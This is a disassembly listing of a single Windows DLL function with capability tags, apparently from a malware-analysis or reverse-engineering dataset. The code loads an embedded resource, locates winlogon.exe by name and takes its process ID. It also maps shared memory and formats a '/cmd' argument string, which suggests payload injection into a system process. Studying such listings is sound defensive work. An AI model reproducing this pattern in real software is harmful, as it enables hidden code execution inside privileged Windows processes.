Function at 0x180007150
Capabilities:
Enumerate processes
Extract resource via kernel32 functions
Read file via mapping

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x308
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov rax, qword [0x180035080]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x30], r9
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x68], rcx
cmp dword [0x18003c9d4], 0
jne 0x180007574
mov esi, 1
mov dword [0x18003c9d4], esi
xor ebp, ebp
mov r12d, ebp
mov eax, dword [0x18003c9e8]
test sil, al
jne 0x1800071ed
or eax, esi
mov dword [0x18003c9e8], eax
lea r8d, [rsi + 0x2f]
lea rdx, [rsp + 0x80]
lea rcx, [0x180004a00]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rbx, qword [rsp + 0x88]
mov qword [0x18003c9e0], rbx
jmp 0x1800071f4
mov rbx, qword [0x18003c9e0]
mov r15, rbp
lea r8, [0x1800299a8]
mov edx, 0x81
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x180007244
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r12d, eax
test eax, eax
je 0x180007244
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x180007244
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
mov r14d, ebp
xor edx, edx
lea ecx, [rdx + 0xf]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
mov dword [rsp + 0xb0], 0x238
lea rdx, [rsp + 0xb0]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1800072d0
lea rdx, [rsp + 0xb0]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x1800072c7
nop word [rax + rax]
lea rdx, str.winlogon.exe
lea rcx, [rsp + 0xdc]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x1800072bf
lea rdx, [rsp + 0xb0]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x180007290
jmp 0x1800072c7
mov r14d, dword [rsp + 0xb8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15, r15
je 0x180007574
test r12d, r12d
je 0x180007574
cmp r14d, 4
jbe 0x180007574
lea rcx, section..data
mov rax, qword [section..data]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x38], rbx
sub esi, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, 0x64
or eax, esi
jge 0x180007327
mov edx, 0x64
lea rcx, [rsp + 0x38]
call fcn.180001770
mov rbx, qword [rsp + 0x38]
xor r9d, r9d
lea edx, [r9 + 0x14]
lea r8d, [r9 + 5]
mov rcx, rbx
call fcn.1800130b0
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
call fcn.180014308
test eax, eax
js 0x180007569
cmp eax, dword [rbx - 0xc]
jg 0x180007569
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], bp
mov r13d, dword [rsp + 0x370]
lea eax, [r13 + 4]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 4]
or rbp, 0xffffffffffffffff
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
test rax, rax
je 0x1800073d3
lea rcx, [r13 + 4]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
lea edx, [rbp + 7]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
je 0x1800073d3
mov dword [rax], r13d
lea rcx, [rax + 4]
mov r9, r13
mov r8, qword [rsp + 0x30]
mov rdx, r13
call fcn.1800137dc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea rcx, section..data
mov rax, qword [section..data]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.180010b10
mov rsi, rax
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x48]
call fcn.180010b10
mov rdi, rax
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.180010b10
mov rbx, rax
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.180010b10
nop
mov rcx, qword [rsi]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rdi]
mov qword [rsp + 0x20], rcx
mov r9, qword [rbx]
mov r8, qword [rax]
lea rdx, str.__u__s__a__s__cmd__s__fmn__s
lea rcx, [rsp + 0x30]
call fcn.1800018d0
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180007485
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800074a5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800074c5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800074e4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rsp + 0x30]
cmp dword [rbx - 8], 1
jle 0x180007501
mov edx, dword [rbx - 0x10]
lea rcx, [rsp + 0x30]
call fcn.1800017d0
mov rbx, qword [rsp + 0x30]
mov r8d, r12d
mov qword [rsp + 0x28], rbx
lea rax, [0x180029a0c]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov rdx, r15
mov ecx, r14d
call fcn.18000ae20
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, [rbx - 0x18]
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18000754a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x38]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], ebp
dec ebp
test ebp, ebp
jg 0x180007574
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x180007574
mov ecx, 0x80070057
call fcn.1800019b0
nop
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.1800135f0
add rsp, 0x308
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret